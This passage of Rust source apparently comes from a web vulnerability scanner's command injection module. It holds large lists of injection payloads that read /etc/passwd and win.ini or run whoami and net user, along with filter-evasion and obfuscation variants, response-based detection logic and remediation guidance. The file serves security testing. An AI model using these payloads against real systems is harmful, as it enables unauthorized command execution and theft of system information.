            ("/b?n/c?t /e?c/p?ss??", "Wildcard cat passwd"),
            ("c?t /e?c/p?ss??", "Wildcard cat no path"),
            ("wh?ami", "Wildcard whoami simple"),
            ("who*", "Wildcard who*"),
            ("*d", "Wildcard *d"),
            ("i*", "Wildcard i*"),
        ];

        for (payload, desc) in &wildcard_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::WildcardBypass,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            // With separator
            payloads.push(CmdPayload {
                payload: format!(";{}", payload),
                category: CmdInjectionCategory::WildcardBypass,
                description: format!("Semicolon {}", desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Quote manipulation
        let quote_payloads = vec![
            ("i''d", "Empty single quote"),
            ("i\"\"d", "Empty double quote"),
            ("w'h'o'a'm'i", "Split single quotes"),
            ("w\"h\"o\"a\"m\"i", "Split double quotes"),
            ("'i'd", "Quote in middle"),
            ("\"i\"d", "Double quote in middle"),
            ("'wh'oami", "Quote split whoami"),
            ("wh''oami", "Empty quote in whoami"),
            ("wh\"\"oami", "Empty dquote in whoami"),
            ("c''at /e''tc/pa''sswd", "Quoted cat passwd"),
            ("c\"\"at /e\"\"tc/pa\"\"sswd", "Dquoted cat passwd"),
        ];

        for (payload, desc) in &quote_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::QuoteManipulation,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            payloads.push(CmdPayload {
                payload: format!(";{}", payload),
                category: CmdInjectionCategory::QuoteManipulation,
                description: format!("Semicolon {}", desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Backslash bypass
        let backslash_payloads = vec![
            ("i\\d", "Backslash in id"),
            ("w\\h\\o\\a\\m\\i", "Backslashes in whoami"),
            ("c\\at /e\\tc/pa\\sswd", "Backslash cat passwd"),
            ("\\i\\d", "Leading backslash id"),
            ("wh\\oami", "Single backslash whoami"),
        ];

        for (payload, desc) in &backslash_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::FilterEvasion,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            payloads.push(CmdPayload {
                payload: format!(";{}", payload),
                category: CmdInjectionCategory::FilterEvasion,
                description: format!("Semicolon {}", desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Concatenation bypass
        let concat_payloads = vec![
            ("'i''d'", "Quote concatenation id"),
            ("\"i\"\"d\"", "Double quote concat id"),
            ("i$()d", "Empty subshell concat"),
            ("i``d", "Empty backtick concat"),
            ("$'i'$'d'", "Dollar quote concat"),
            ("/bin/c'a't /etc/passwd", "Quoted cat command"),
            ("/bin/'c'at /etc/passwd", "Single char quoted"),
        ];

        for (payload, desc) in &concat_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::ConcatenationBypass,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            payloads.push(CmdPayload {
                payload: format!(";{}", payload),
                category: CmdInjectionCategory::ConcatenationBypass,
                description: format!("Semicolon {}", desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Comment bypass
        let comment_payloads = vec![
            ("id#comment", "Hash comment"),
            ("id;#", "Semicolon hash"),
            ("id #", "Space hash"),
            ("id\t#comment", "Tab hash comment"),
            ("id%00", "Null byte terminator"),
            ("id%00comment", "Null byte comment"),
        ];

        for (payload, desc) in comment_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::FilterEvasion,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    /// Generate context breaking payloads
    fn generate_context_breaking_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        // Quote breaking
        let quote_break_payloads = vec![
            ("\";id;\"", "Break double quotes"),
            ("';id;'", "Break single quotes"),
            ("\";id;#", "Break and comment"),
            ("';id;#", "Single break comment"),
            ("\"$(id)\"", "Subst in double quotes"),
            ("\"`id`\"", "Backtick in double quotes"),
            ("\"$({id})\"", "Brace in double quotes"),
            // Escape breaking
            ("\\\";id", "Escaped quote break"),
            ("\\';id", "Escaped single quote break"),
            ("\\\n;id", "Escaped newline break"),
            ("\\`id\\`", "Escaped backticks"),
            // Argument injection
            ("\" -o evil.txt", "Argument injection"),
            ("' -o evil.txt", "Single arg injection"),
            ("--help;id", "Flag injection"),
            ("-v;id", "Short flag injection"),
            ("--version;id", "Version flag injection"),
            ("-h;id", "Help flag injection"),
            ("--help$(id)", "Flag with subst"),
            // Filename context
            ("test.txt;id", "Filename semicolon"),
            ("test|id", "Filename pipe"),
            ("test`id`", "Filename backtick"),
            ("test$(id)", "Filename subst"),
            ("test\nid", "Filename newline"),
            ("test%0aid", "Filename URL newline"),
            // Path context
            ("../../../etc/passwd", "Path traversal"),
            (";cat ../../../etc/passwd", "Semicolon path traversal"),
            ("|cat ../../../etc/passwd", "Pipe path traversal"),
        ];

        for (payload, desc) in quote_break_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::ContextBreaking,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    /// Generate Windows-specific payloads
    fn generate_windows_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        let windows_payloads = vec![
            // Basic separators
            ("&whoami", "Ampersand whoami"),
            ("&&whoami", "Double ampersand whoami"),
            ("|whoami", "Pipe whoami"),
            ("||whoami", "Double pipe whoami"),
            ("& whoami", "Ampersand space whoami"),
            // CMD specific
            ("& echo %username%", "Echo username"),
            ("& echo %computername%", "Echo computername"),
            ("& dir", "Dir command"),
            ("& dir C:\\", "Dir C drive"),
            ("& type C:\\Windows\\win.ini", "Type win.ini"),
            (
                "& type C:\\Windows\\System32\\drivers\\etc\\hosts",
                "Type hosts",
            ),
            ("& net user", "Net user"),
            ("& net localgroup administrators", "Net admins"),
            ("& ipconfig", "Ipconfig"),
            ("& ipconfig /all", "Ipconfig all"),
            ("& systeminfo", "Systeminfo"),
            ("& tasklist", "Tasklist"),
            ("& netstat -an", "Netstat"),
            // Environment variables
            ("&set", "Set command"),
            ("& echo %PATH%", "Echo PATH"),
            ("& echo %USERPROFILE%", "Echo userprofile"),
            ("& echo %TEMP%", "Echo temp"),
            ("& echo %SYSTEMROOT%", "Echo systemroot"),
            // PowerShell
            ("& powershell -c \"whoami\"", "PowerShell whoami"),
            ("& powershell -c \"Get-Process\"", "PowerShell processes"),
            ("& powershell -c \"Get-ChildItem\"", "PowerShell ls"),
            (
                "& powershell -c \"Get-Content C:\\Windows\\win.ini\"",
                "PowerShell read file",
            ),
            ("& powershell -enc d2hvYW1p", "PowerShell encoded"),
            ("& powershell -e d2hvYW1p", "PowerShell short encoded"),
            ("|powershell -c id", "Pipe PowerShell"),
            // CMD newlines
            ("%0d%0adir", "CRLF dir"),
            ("\r\ndir", "Raw CRLF dir"),
            ("%0adir", "LF dir"),
            // Concatenation
            ("&who^ami", "Caret whoami"),
            ("&wh\"\"oami", "Empty quotes whoami"),
            ("&typ^e C:\\Windows\\win.ini", "Caret type"),
        ];

        for (payload, desc) in windows_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::WindowsSpecific,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    /// Generate polyglot payloads that work in multiple contexts
    fn generate_polyglot_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        let polyglot_payloads = vec![
            // Quote polyglots
            ("';id;#\"", "Quote polyglot"),
            ("\"|id|\"", "Pipe polyglot"),
            ("$(id)`id`", "Substitution polyglot"),
            (";id||id&&id", "Chaining polyglot"),
            // Cross-platform
            (";id&whoami", "Unix/Windows semicolon ampersand"),
            ("|id|whoami", "Double pipe universal"),
            ("&id;whoami", "Ampersand semicolon"),
            // Escape polyglots
            ("\\';id;\\\"", "Escape polyglot"),
            ("\\'\\\"id\\'\\\"", "Multi escape"),
            // Multiple injection points
            (";id;#';id;#\";id;#", "Triple context"),
            ("%0a;id%0a|id%0a`id`", "Encoded multi"),
            ("$(id)|`id`|;id", "All substitution types"),
            // Comprehensive
            (
                "a]|id||`id`||$(id)||;id;#\"';id;#\\",
                "Kitchen sink polyglot",
            ),
            ("\n;id\n|id\n`id`\n$(id)", "Newline polyglot"),
            ("%0a%0d;id%0a%0d|id%0a%0d", "CRLF polyglot"),
            // Context-aware
            ("{{id}}", "Template injection style"),
            ("${id}", "Variable style"),
            ("#{id}", "Ruby/Shell style"),
            ("<%=id%>", "ERB style"),
            (
                "{{constructor.constructor('return id')()}}",
                "Prototype pollution style",
            ),
        ];

        for (payload, desc) in polyglot_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::Polyglot,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    /// Generate obfuscation payloads
    fn generate_obfuscation_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        let obfuscation_payloads = vec![
            // Case variations (Windows CMD)
            (";ID", "Uppercase ID"),
            (";WHOAMI", "Uppercase WHOAMI"),
            (";WhOaMi", "Mixed case whoami"),
            (";iD", "Mixed case id"),
            // Variable expansion
            (";i$()d", "Empty subshell concat"),
            (";i``d", "Empty backtick concat"),
            (";w$()hoami", "Empty subshell in word"),
            (";wh$()oami", "Empty subshell mid word"),
            // Reversed commands
            (";$(rev<<<'di')", "Reversed id"),
            (";$(printf 'id')", "Printf id"),
            (";$(printf '%s' 'id')", "Printf %s id"),
            (";$(echo 'di' | rev)", "Echo rev id"),
            // Brace expansion
            (";{i,}d", "Brace expansion id"),
            (";{id,}", "Brace expansion id alt"),
            (";{w,}hoami", "Brace expansion whoami"),
            (";{cat,} /etc/passwd", "Brace expansion cat"),
            (";{/bin/,}id", "Brace expansion path"),
            // Printf tricks
            (";$(printf '\\x69\\x64')", "Printf hex id"),
            (";$(printf '\\151\\144')", "Printf octal id"),
            (";$(printf '%s%s' 'i' 'd')", "Printf concat id"),
            // Eval tricks
            (";eval id", "Eval id"),
            (";eval 'id'", "Eval quoted id"),
            (";eval \"id\"", "Eval double quoted id"),
            (";eval $(echo id)", "Eval echo id"),
            (";eval `echo id`", "Eval backtick echo id"),
            // Bash -c tricks
            (";bash -c 'id'", "Bash -c id"),
            (";bash -c \"id\"", "Bash -c dquote id"),
            (";sh -c 'id'", "Sh -c id"),
            (";/bin/bash -c id", "Full path bash -c"),
            (";bash<<<id", "Bash herestring"),
            // Heredoc
            (";cat<<EOF\nid\nEOF", "Heredoc id"),
            (";bash<<EOF\nid\nEOF", "Bash heredoc"),
            (";<<< id", "Herestring id"),
        ];

        for (payload, desc) in obfuscation_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::Obfuscation,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    // ========================================================================
    // INTELLIGENT PAYLOAD SELECTION
    // ========================================================================

    /// Select diverse payloads across categories up to the limit
    /// This ensures we test different bypass techniques rather than just the first N
    fn select_diverse_payloads(payloads: Vec<CmdPayload>, limit: usize) -> Vec<CmdPayload> {
        use std::collections::HashMap;

        if payloads.len() <= limit {
            return payloads;
        }

        // Group payloads by category
        let mut by_category: HashMap<CmdInjectionCategory, Vec<CmdPayload>> = HashMap::new();
        for payload in payloads {
            by_category
                .entry(payload.category.clone())
                .or_insert_with(Vec::new)
                .push(payload);
        }

        // Calculate how many from each category
        let num_categories = by_category.len();
        let per_category = limit / num_categories.max(1);
        let remainder = limit % num_categories.max(1);

        let mut selected = Vec::with_capacity(limit);
        let mut extra_slots = remainder;

        // Priority order for categories (most likely to succeed first)
        let priority_order = [
            CmdInjectionCategory::ShellMetacharacters,
            CmdInjectionCategory::CommandSubstitution,
            CmdInjectionCategory::NewlineInjection,
            CmdInjectionCategory::EnvironmentVars,
            CmdInjectionCategory::Obfuscation,
            CmdInjectionCategory::TimeBased,
            CmdInjectionCategory::EncodingBypass,
            CmdInjectionCategory::FilterEvasion,
            CmdInjectionCategory::ContextBreaking,
            CmdInjectionCategory::WindowsSpecific,
            CmdInjectionCategory::WildcardBypass,
            CmdInjectionCategory::ArgumentInjection,
        ];

        for category in &priority_order {
            if let Some(category_payloads) = by_category.get_mut(category) {
                let mut take = per_category;
                if extra_slots > 0 {
                    take += 1;
                    extra_slots -= 1;
                }
                selected.extend(category_payloads.drain(..take.min(category_payloads.len())));
            }
        }

        // If we still haven't filled up, take from any remaining
        for (_cat, mut payloads_in_cat) in by_category {
            if selected.len() >= limit {
                break;
            }
            let remaining = limit - selected.len();
            selected.extend(payloads_in_cat.drain(..remaining.min(payloads_in_cat.len())));
        }

        selected
    }

    /// Generate all enterprise payloads - 1000+ payloads
    fn generate_enterprise_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        info!("[CmdInjection] Generating enterprise-grade payloads...");

        // Phase 1: Shell metacharacter combinations
        payloads.extend(self.generate_metachar_payloads());

        // Phase 2: Command substitution
        payloads.extend(self.generate_substitution_payloads());

        // Phase 3: Time-based blind
        payloads.extend(self.generate_time_based_payloads());

        // Phase 4: Encoding bypass
        payloads.extend(self.generate_encoding_payloads());

        // Phase 5: IFS and environment variables
        payloads.extend(self.generate_ifs_payloads());

        // Phase 6: Filter evasion
        payloads.extend(self.generate_filter_evasion_payloads());

        // Phase 7: Context breaking
        payloads.extend(self.generate_context_breaking_payloads());

        // Phase 8: Windows specific
        payloads.extend(self.generate_windows_payloads());

        // Phase 9: Polyglot
        payloads.extend(self.generate_polyglot_payloads());

        // Phase 10: Obfuscation
        payloads.extend(self.generate_obfuscation_payloads());

        info!(
            "[CmdInjection] Generated {} enterprise-grade payloads",
            payloads.len()
        );
        payloads
    }

    /// Generate professional-tier payloads (100+)
    fn generate_professional_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        // Essential metacharacters
        let essential = vec![
            (
                ";id",
                "Semicolon id",
                CmdInjectionCategory::ShellMetacharacters,
            ),
            ("|id", "Pipe id", CmdInjectionCategory::ShellMetacharacters),
            (
                "&&id",
                "Double ampersand id",
                CmdInjectionCategory::ShellMetacharacters,
            ),
            (
                "||id",
                "Double pipe id",
                CmdInjectionCategory::ShellMetacharacters,
            ),
            (
                "`id`",
                "Backtick id",
                CmdInjectionCategory::CommandSubstitution,
            ),
            (
                "$(id)",
                "Dollar paren id",
                CmdInjectionCategory::CommandSubstitution,
            ),
            ("\nid", "Newline id", CmdInjectionCategory::NewlineInjection),
            (
                "%0aid",
                "URL newline id",
                CmdInjectionCategory::NewlineInjection,
            ),
            (";sleep 5", "Sleep 5", CmdInjectionCategory::TimeBased),
            (
                "$(sleep 5)",
                "Dollar sleep 5",
                CmdInjectionCategory::TimeBased,
            ),
            (
                "&whoami",
                "Ampersand whoami",
                CmdInjectionCategory::WindowsSpecific,
            ),
            ("|dir", "Pipe dir", CmdInjectionCategory::WindowsSpecific),
            (
                "%3bid",
                "URL encoded semicolon",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                ";i''d",
                "Quote bypass id",
                CmdInjectionCategory::QuoteManipulation,
            ),
            (
                ";/???/i?",
                "Wildcard id",
                CmdInjectionCategory::WildcardBypass,
            ),
        ];

        for (payload, desc, category) in essential {
            let detection = if payload.contains("sleep") {
                DetectionMethod::TimeBased(5)
            } else {
                DetectionMethod::OutputBased
            };
            let delay = if payload.contains("sleep") {
                Some(5)
            } else {
                None
            };

            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category,
                description: desc.to_string(),
                detection_method: detection,
                expected_delay: delay,
            });
        }

        payloads
    }

    /// Generate basic payloads (free tier)
    fn generate_basic_payloads(&self) -> Vec<CmdPayload> {
        vec![
            CmdPayload {
                payload: ";id".to_string(),
                category: CmdInjectionCategory::ShellMetacharacters,
                description: "Semicolon id".to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            },
            CmdPayload {
                payload: "|id".to_string(),
                category: CmdInjectionCategory::ShellMetacharacters,
                description: "Pipe id".to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            },
            CmdPayload {
                payload: "`id`".to_string(),
                category: CmdInjectionCategory::CommandSubstitution,
                description: "Backtick id".to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            },
        ]
    }

    /// Scan a parameter for command injection vulnerabilities (default intensity)
    pub async fn scan_parameter(
        &self,
        base_url: &str,
        parameter: &str,
        config: &ScanConfig,
    ) -> Result<(Vec<Vulnerability>, usize)> {
        // Default to Standard intensity for backwards compatibility
        self.scan_parameter_with_intensity(base_url, parameter, config, PayloadIntensity::Standard)
            .await
    }

    /// Scan a parameter for command injection with specified intensity (intelligent mode)
    pub async fn scan_parameter_with_intensity(
        &self,
        base_url: &str,
        parameter: &str,
        _config: &ScanConfig,
        intensity: PayloadIntensity,
    ) -> Result<(Vec<Vulnerability>, usize)> {
        // ============================================================
        // MANDATORY AUTHORIZATION CHECK - CANNOT BE BYPASSED
        // ============================================================
        if !crate::license::verify_scan_authorized() {
            return Ok((Vec::new(), 0));
        }
        if !crate::signing::is_scan_authorized() {
            tracing::warn!("Command injection scan blocked: No valid scan authorization");
            return Ok((Vec::new(), 0));
        }

        // Smart parameter filtering - command injection needs command/file/path parameters
        if ParameterFilter::should_skip_parameter(parameter, ScannerType::CommandInjection) {
            debug!(
                "[CmdInjection] Skipping boolean/internal parameter: {}",
                parameter
            );
            return Ok((Vec::new(), 0));
        }

        info!("[CmdInjection] Intelligent scanner - testing parameter: {} (priority: {}, intensity: {:?})",
              parameter,
              ParameterFilter::get_parameter_priority(parameter),
              intensity);

        // Get payloads based on license tier
        let mut payloads = if crate::license::is_feature_available("enterprise_cmd_injection") {
            self.generate_enterprise_payloads()
        } else if crate::license::is_feature_available("cmd_injection_scanning") {
            self.generate_professional_payloads()
        } else {
            self.generate_basic_payloads()
        };

        // INTELLIGENT MODE: Limit payloads based on intensity
        let payload_limit = intensity.payload_limit();
        let original_count = payloads.len();

        if payloads.len() > payload_limit {
            payloads = Self::select_diverse_payloads(payloads, payload_limit);
            info!(
                "[CmdInjection] Intelligent mode: limited from {} to {} payloads (intensity: {:?})",
                original_count,
                payloads.len(),
                intensity
            );
        }

        let total_payloads = payloads.len();
        info!("[CmdInjection] Testing {} payloads", total_payloads);

        let mut vulnerabilities = Vec::new();

        // Get baseline response time
        let baseline_start = Instant::now();
        let baseline_response = match self.http_client.get(base_url).await {
            Ok(response) => response,
            Err(e) => {
                debug!("Failed to get baseline: {}", e);
                return Ok((Vec::new(), 0));
            }
        };
        let baseline_time = baseline_start.elapsed();

        for payload in &payloads {
            let test_url = if base_url.contains('?') {
                format!(
                    "{}&{}={}",
                    base_url,
                    parameter,
                    urlencoding::encode(&payload.payload)
                )
            } else {
                format!(
                    "{}?{}={}",
                    base_url,
                    parameter,
                    urlencoding::encode(&payload.payload)
                )
            };

            debug!(
                "[CmdInjection] Testing [{}]: {}",
                payload.category.as_str(),
                payload.description
            );

            let request_start = Instant::now();
            match self.http_client.get(&test_url).await {
                Ok(response) => {
                    let response_time = request_start.elapsed();

                    // Check for vulnerability based on detection method
                    if let Some(vuln) = self.analyze_response(
                        &response.body,
                        &payload,
                        parameter,
                        &test_url,
                        response_time,
                        baseline_time,
                        &baseline_response.body,
                    ) {
                        info!(
                            "[ALERT] Command injection via {} detected in parameter '{}'",
                            payload.category.as_str(),
                            parameter
                        );
                        vulnerabilities.push(vuln);
                        break; // Found vulnerability, stop testing
                    }
                }
                Err(e) => {
                    debug!("Request failed for cmd injection payload: {}", e);
                    // Timeout might indicate successful time-based injection
                    if matches!(payload.detection_method, DetectionMethod::TimeBased(_)) {
                        let response_time = request_start.elapsed();
                        if response_time.as_secs() >= payload.expected_delay.unwrap_or(5) {
                            info!("[ALERT] Possible time-based command injection (timeout)");
                            vulnerabilities.push(self.create_vulnerability(
                                parameter,
                                &payload.payload,
                                &test_url,
                                "Time-based command injection detected via timeout",
                                Confidence::Medium,
                                format!(
                                    "Request timed out after {:?} (expected delay: {}s)",
                                    response_time,
                                    payload.expected_delay.unwrap_or(5)
                                ),
                                &payload.category,
                            ));
                            break;
                        }
                    }
                }
            }
        }

        info!(
            "[SUCCESS] [CmdInjection] Completed {} tests on parameter '{}', found {} vulnerabilities",
            total_payloads,
            parameter,
            vulnerabilities.len()
        );

        Ok((vulnerabilities, total_payloads))
    }

    /// Analyze response for command injection indicators
    fn analyze_response(
        &self,
        body: &str,
        payload: &CmdPayload,
        parameter: &str,
        test_url: &str,
        response_time: Duration,
        baseline_time: Duration,
        baseline_body: &str,
    ) -> Option<Vulnerability> {
        let body_lower = body.to_lowercase();

        // Check based on detection method
        match &payload.detection_method {
            DetectionMethod::TimeBased(expected_delay) => {
                // Check if response took significantly longer than expected
                let expected_ms = *expected_delay * 1000;
                let actual_ms = response_time.as_millis() as u64;
                let baseline_ms = baseline_time.as_millis() as u64;

                // Response should be at least (expected_delay - 1) seconds longer than baseline
                if actual_ms > baseline_ms + (expected_ms - 1000) {
                    return Some(self.create_vulnerability(
                        parameter,
                        &payload.payload,
                        test_url,
                        &format!("Time-based command injection detected via {} - response delayed by {} ms", payload.category.as_str(), actual_ms - baseline_ms),
                        Confidence::High,
                        format!("Response time: {}ms (baseline: {}ms, expected delay: {}s)", actual_ms, baseline_ms, expected_delay),
                        &payload.category,
                    ));
                }
            }
            DetectionMethod::OutputBased => {
                // Check for command output in response

                // Unix command output indicators
                let unix_indicators = vec![
                    ("uid=", "id command output"),
                    ("gid=", "id command output"),
                    ("groups=", "id command output"),
                    ("root:x:", "passwd file content"),
                    ("daemon:x:", "passwd file content"),
                    ("bin:x:", "passwd file content"),
                    ("nobody:x:", "passwd file content"),
                    ("www-data:x:", "passwd file content"),
                    ("linux", "uname output"),
                    ("gnu/linux", "uname output"),
                    ("darwin", "macOS uname"),
                    ("freebsd", "FreeBSD uname"),
                    ("/bin/bash", "shell path"),
                    ("/bin/sh", "shell path"),
                    ("/usr/bin/", "usr bin path"),
                    ("total ", "ls output"),
                    ("drwx", "ls permissions"),
                    ("-rwx", "ls permissions"),
                    ("-rw-", "ls permissions"),
                    ("pid", "process info"),
                    ("ppid", "process info"),
                    ("tty", "terminal info"),
                    ("pts/", "pseudo terminal"),
                    ("eth0", "network interface"),
                    ("lo:", "loopback interface"),
                    ("inet ", "IP address"),
                    ("inet6 ", "IPv6 address"),
                ];

                // Windows command output indicators
                let windows_indicators = vec![
                    ("volume in drive", "dir output"),
                    ("directory of", "dir output"),
                    ("windows", "system info"),
                    ("microsoft", "system info"),
                    ("nt authority", "whoami output"),
                    ("computer name", "system info"),
                    ("user name", "system info"),
                    ("administrator", "user info"),
                    ("c:\\", "path info"),
                    ("c:/", "path info"),
                    ("system32", "system path"),
                    ("program files", "program path"),
                    ("users\\", "users path"),
                    ("ipconfig", "network config"),
                    ("ethernet adapter", "network info"),
                    ("windows ip configuration", "ipconfig output"),
                    ("physical address", "MAC address"),
                    ("default gateway", "gateway info"),
                    ("[extensions]", "win.ini content"),
                    ("[fonts]", "win.ini content"),
                    ("for 16-bit app support", "win.ini content"),
                ];

                // Check that indicator wasn't in baseline
                for (indicator, desc) in &unix_indicators {
                    if body_lower.contains(indicator)
                        && !baseline_body.to_lowercase().contains(indicator)
                    {
                        return Some(self.create_vulnerability(
                            parameter,
                            &payload.payload,
                            test_url,
                            &format!(
                                "Command injection detected via {} - {} found in response",
                                payload.category.as_str(),
                                desc
                            ),
                            Confidence::High,
                            format!("Unix command output indicator: {}", indicator),
                            &payload.category,
                        ));
                    }
                }

                for (indicator, desc) in &windows_indicators {
                    if body_lower.contains(indicator)
                        && !baseline_body.to_lowercase().contains(indicator)
                    {
                        return Some(self.create_vulnerability(
                            parameter,
                            &payload.payload,
                            test_url,
                            &format!(
                                "Command injection detected via {} - {} found in response",
                                payload.category.as_str(),
                                desc
                            ),
                            Confidence::High,
                            format!("Windows command output indicator: {}", indicator),
                            &payload.category,
                        ));
                    }
                }
            }
            DetectionMethod::ErrorBased => {
                // Check for error messages that indicate command execution
                let error_indicators = vec![
                    "sh:",
                    "bash:",
                    "cmd.exe",
                    "powershell",
                    "command not found",
                    "syntax error",
                    "unexpected token",
                    "not recognized",
                    "invalid option",
                    "missing operand",
                    "no such file",
                    "permission denied",
                    "cannot execute",
                    "not found",
                ];

                for indicator in error_indicators {
                    if body_lower.contains(indicator)
                        && !baseline_body.to_lowercase().contains(indicator)
                    {
                        return Some(self.create_vulnerability(
                            parameter,
                            &payload.payload,
                            test_url,
                            &format!(
                                "Possible command injection via {} - shell error in response",
                                payload.category.as_str()
                            ),
                            Confidence::Medium,
                            format!("Shell error indicator: {}", indicator),
                            &payload.category,
                        ));
                    }
                }
            }
            DetectionMethod::DnsCallback => {
                // DNS callback detection would require external infrastructure
                // Placeholder for OOB detection
            }
        }

        None
    }

    /// Create a vulnerability record
    fn create_vulnerability(
        &self,
        parameter: &str,
        payload: &str,
        test_url: &str,
        description: &str,
        confidence: Confidence,
        evidence: String,
        category: &CmdInjectionCategory,
    ) -> Vulnerability {
        Vulnerability {
            id: format!("cmdi_{}", uuid::Uuid::new_v4().to_string()),
            vuln_type: format!("OS Command Injection ({})", category.as_str()),
            severity: Severity::Critical,
            confidence,
            category: "Command Injection".to_string(),
            url: test_url.to_string(),
            parameter: Some(parameter.to_string()),
            payload: payload.to_string(),
            description: format!(
                "Command injection vulnerability in parameter '{}'. {}. Bypass technique: {}",
                parameter,
                description,
                category.as_str()
            ),
            evidence: Some(evidence),
            cwe: "CWE-78".to_string(),
            cvss: 9.8,
            verified: true,
            false_positive: false,
            remediation: self.get_remediation(category),
            discovered_at: chrono::Utc::now().to_rfc3339(),
            ml_data: None,
        }
    }

    /// Get remediation advice based on category
    fn get_remediation(&self, category: &CmdInjectionCategory) -> String {
        let base_remediation = r#"CRITICAL - IMMEDIATE ACTION REQUIRED:

1. **Never Use User Input in Shell Commands**
   - Avoid system(), exec(), shell_exec(), popen(), etc. with user input
   - If unavoidable, use parameterized/prepared commands
   - Use language-native APIs instead of shell commands

2. **Input Validation**
   - Whitelist allowed characters (alphanumeric only if possible)
   - Reject all shell metacharacters: ; | & $ ` ( ) { } [ ] < > \ " ' \n \r
   - Validate input format against expected pattern
   - Set maximum length limits

3. **Escaping (Last Resort)**

   **PHP:**
   ```php
   $safe_input = escapeshellarg($user_input);
   system("command " . $safe_input);
   ```

   **Python:**
   ```python
   import shlex
   safe_input = shlex.quote(user_input)
   # Or use subprocess with list arguments
   subprocess.run(['command', user_input], shell=False)
   ```

   **Node.js:**
   ```javascript
   const { spawn } = require('child_process');
   // Use spawn with array arguments, NOT shell=true
   spawn('command', [userInput]);
   ```

   **Java:**
   ```java
   ProcessBuilder pb = new ProcessBuilder("command", userInput);
   // Don't use Runtime.exec(String) with concatenation
   ```

4. **Use Language-Native APIs**
   - File operations: Use file APIs, not cat/cp/mv
   - Network: Use HTTP libraries, not curl/wget
   - Process: Use process APIs, not kill/ps
   - Archive: Use archive libraries, not tar/zip
"#;

        let specific = match category {
            CmdInjectionCategory::EncodingBypass | CmdInjectionCategory::DoubleEncoding => {
                r#"
5. **Encoding-Specific Protections**
   - Decode input BEFORE validation, not after
   - Handle double/triple encoding by decoding in a loop
   - Validate on the final decoded value
   - Reject input with suspicious encoding patterns"#
            }
            CmdInjectionCategory::IFSManipulation | CmdInjectionCategory::EnvironmentVars => {
                r#"
5. **Environment Variable Protections**
   - Clear or reset IFS before executing commands
   - Don't expand variables from user input
   - Use static command strings, not dynamic construction
   - Set a minimal, safe PATH for command execution"#
            }
            CmdInjectionCategory::TimeBased => {
                r#"
5. **Time-Based Attack Protections**
   - Set strict timeouts on command execution
   - Monitor for unusual response time patterns
   - Implement rate limiting
   - Log and alert on slow requests"#
            }
            CmdInjectionCategory::WindowsSpecific => {
                r#"
5. **Windows-Specific Protections**
   - Be aware of cmd.exe metacharacters: & | ^ < >
   - Escape ^ character by doubling it
   - Use ProcessBuilder in Java instead of cmd /c
   - Avoid PowerShell execution from user input"#
            }
            CmdInjectionCategory::QuoteManipulation | CmdInjectionCategory::ConcatenationBypass => {
                r#"
5. **Quote/Concatenation Attack Protections**
   - Don't rely on quotes alone for escaping
   - Use proper escaping functions for your platform
   - Validate that quotes are balanced
   - Reject input with unusual quote patterns"#
            }
            CmdInjectionCategory::WildcardBypass => {
                r#"
5. **Wildcard Attack Protections**
   - Reject ? and * characters in filenames
   - Validate paths against expected patterns
   - Use exact path matching where possible
   - Don't allow glob patterns from user input"#
            }
            _ => {
                r#"
5. **Additional Protections**
   - Run applications with least privilege
   - Use containers/sandboxing
   - Implement WAF rules for command injection
   - Regular security testing and code review"#
            }
        };

        format!(
            "{}{}

6. **Defense in Depth**
   - Web Application Firewall (WAF) rules
   - Intrusion Detection Systems (IDS)
   - Monitor and alert on shell execution
   - Regular security testing

7. **Code Review Checklist**
   - Search for: system, exec, popen, shell_exec, passthru
   - Search for: subprocess, os.system, os.popen
   - Search for: child_process, spawn, exec
   - Search for: Runtime.exec, ProcessBuilder

References:
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
